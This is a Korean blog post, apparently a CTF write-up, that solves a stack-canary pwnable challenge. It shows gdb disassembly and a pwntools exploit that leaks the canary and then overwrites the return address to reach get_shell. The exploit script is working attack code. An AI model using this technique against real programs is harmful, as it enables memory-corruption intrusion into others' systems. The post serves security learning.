Fascination
article thumbnail

이번에 SISS에서 처음으로 pwnable을 3명이나 출제했다는 소식에 해킹캠프는 참여하지는 않았지만, SISS 부원들이 제작한 문제만 풀어보기로 했다.

 

# 문제분석

checksec로 확인해보니 canary외에는 크게 신경써야 할 보호기법이 보이지 않는 것 같다

카나리만 우회한다면 buffer overflow 취약점으로 return address를 조작할 수 있지 않을까라고 생각했다

 

문제풀이에 유용한 함수를 찾아보기 위해 pwndbg의 info func 기능을 사용해보았다

get_shell 함수를 확인할 수 있었고 gdb로 확인했을 때 shell을 딸 수 있게해주는 함수인 것을 확인할 수 있었다

 

main에서 사용되는 함수와 함수에 사용되는 인자 값으로 예측한 프로그램의 흐름은 다음과 같다

1. buf가 선언되어 있음

2. read 함수를 통해 buf에 0x1000만큼 입력할 수 있음

3. puts 함수를 통해 buf에 입력된 값을 출력함

4. gets 함수를 통해 한 번더 buf에 입력을 할 수 있음

 

 

# Exploit

- exploit 과정

위에서 확인한 흐름이라면 buf 다음에는 canary가 존재하고 있다

canary는 마지막에 null 바이트를 가지고 있으므로 buf 크기보다 1만큼 더 큰 값을 덮어씌운다면,

null 바이트가 덮어씌워지면서 카나리를 leak할 수 있을 것이다.

따라서 디버깅을 통해 buf와 canary사이의 거리를 먼저 구해주어야 한다

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000400929 <+0>:     push   rbp
   0x000000000040092a <+1>:     mov    rbp,rsp
   0x000000000040092d <+4>:     sub    rsp,0x20
   0x0000000000400931 <+8>:     mov    rax,QWORD PTR fs:0x28
   0x000000000040093a <+17>:    mov    QWORD PTR [rbp-0x8],rax # stack에 카나리 저장
   0x000000000040093e <+21>:    xor    eax,eax
   0x0000000000400940 <+23>:    mov    eax,0x0
   0x0000000000400945 <+28>:    call   0x40086f <initialize>
   0x000000000040094a <+33>:    mov    edi,0x400a65
   0x000000000040094f <+38>:    mov    eax,0x0
   0x0000000000400954 <+43>:    call   0x4006e0 <printf@plt>
   0x0000000000400959 <+48>:    mov    rax,QWORD PTR [rip+0x200720]        # 0x601080 <stdout@@GLIBC_2.2.5>
   0x0000000000400960 <+55>:    mov    rdi,rax
   0x0000000000400963 <+58>:    call   0x400740 <fflush@plt>
   0x0000000000400968 <+63>:    lea    rax,[rbp-0x20]
   0x000000000040096c <+67>:    mov    edx,0x1000
   0x0000000000400971 <+72>:    mov    rsi,rax # buf의 시작 주소를 인자로 넘겨줌
   0x0000000000400974 <+75>:    mov    edi,0x0
   0x0000000000400979 <+80>:    call   0x400700 <read@plt>
   0x000000000040097e <+85>:    lea    rax,[rbp-0x20]
   0x0000000000400982 <+89>:    mov    rdi,rax
   0x0000000000400985 <+92>:    call   0x4006c0 <puts@plt>
   0x000000000040098a <+97>:    mov    rax,QWORD PTR [rip+0x2006ef]        # 0x601080 <stdout@@GLIBC_2.2.5>
   0x0000000000400991 <+104>:   mov    rdi,rax
   0x0000000000400994 <+107>:   call   0x400740 <fflush@plt>
   0x0000000000400999 <+112>:   lea    rax,[rbp-0x20]
   0x000000000040099d <+116>:   mov    rdi,rax
   0x00000000004009a0 <+119>:   mov    eax,0x0
   0x00000000004009a5 <+124>:   call   0x400730 <gets@plt>
   0x00000000004009aa <+129>:   mov    eax,0x0
   0x00000000004009af <+134>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004009b3 <+138>:   xor    rcx,QWORD PTR fs:0x28
   0x00000000004009bc <+147>:   je     0x4009c3 <main+154>
   0x00000000004009be <+149>:   call   0x4006d0 <__stack_chk_fail@plt>
   0x00000000004009c3 <+154>:   leave
   0x00000000004009c4 <+155>:   ret
End of assembler dump.

main 함수의 disassemble code는 다음과 같다

확인해야 할 부분을 주석으로 남겨보았다

우선은 거리 확인을 위해 현재 실행 시점에서 카나리 값이 어떤 값이며,

stack 내에 어느 위치에 저장되는지 확인해야한다.

그 다음으로는 입력 값이 저장되는 buf의 시작 주소를 확인해야 한다.

main+21에 breakpoint를 설정하고 rbp-0x8 위치에 canary가 저장되었음을 확인했다.

카나리가 저장된 시작주소는 0x7fffffffdf58 이다

 

다음으로는 main+75에 브레이크 포인트를 걸어 rsi 레지스터에 저장된 buf의 시작주소를 확인하고

ni 명령어를 사용하여 "AAAA"를 입력해본다

이때 buf의 시작주소는 0x7fffffffdf40임을 확인할 수 있다

 

우리가 입력한 AAAA가 buf에 잘 들어갔음을 확인할 수 있다.

 

카나리와 buf 사이에는 0x18(=24) 만큼의 offset이 존재한다

 

이를 통해 생각할 수 있는 exploit 흐름은 다음과 같다

1. 처음 read를 통해 offset+1 만큼의 dummy를 buf에 저장한다
2. puts로 buf를 출력하는 과정에서 null 바이트가 덮어씌워진 canary를 leak할 수 있다
3. gets 함수를 사용해 "offset크기만큼의 dummy + leak한 canary + rbp(8byte) + ret(get_shell)"를 입력

 

- exploit code

exploit 흐름에 따라 작성한 exploit code는 다음과 같다

from pwn import *

p = process("./step")
elf = ELF("./step")

payload = b"A" * (24 + 1)
p.send(payload)

p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))

get_shell = elf.symbols["get_shell"]
payload = b"A" * 24 + p64(canary) + b"A" * 8 + p64(get_shell)
p.sendline(payload)

p.interactive()

 

실제 서버에서 플래그를 획득한 모습은 다음과 같다

해당 문제를 푸는데 어려움이 있었다면 dreamhack systemhacking 커리에 있는 내용을 공부하면 좋을 것 같아

이전에 포스팅 했던 글들을 첨부한다

 

개념적으로 이해하기 위해서는 아래의 글을 참고하면 되고,

 

[Dreamhack] Mitigation: Stack Canary

Mitigation: Stack Canary # 들어가며 Return Address Overwrite: 스택의 반환 주소(Return Address)를 조작하여 실행 흐름을 획득하는 공격 기법 스택 카나리(Canary): 스택 버퍼 오버플로우로부터 반환 주소를 보호

fascination-euna.tistory.com

 

실제 dreamhack wargame 문제에 적용하여 풀었던 문제는 아래에 첨부했다

 

[Dreamhack] Return to Shellcode

Return to Shellcode Exploit Tech: Return to Shellcode에서 실습하는 문제입니다. # 문제 분석 - Return to Shellcode 반환 주소를 shellcode가 저장된 곳으로 우회하여 프로그램의 실행 흐름을 조작하는 것 해당 문제

fascination-euna.tistory.com

 

아마 해당 문제는 pwnable을 처음 공부하는 사람들이 첫 CTF에서 문제를 풀 수 있다는 자신감을 줄 수 있는 문제가 아니었을까 싶다

SISS 파이팅 ^^...

 

'War Game & CTF > CTF-writeup' 카테고리의 다른 글

[2023 Hacking-Camp CTF / pwnable] horcrux write-up  (0) 2023.02.14
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!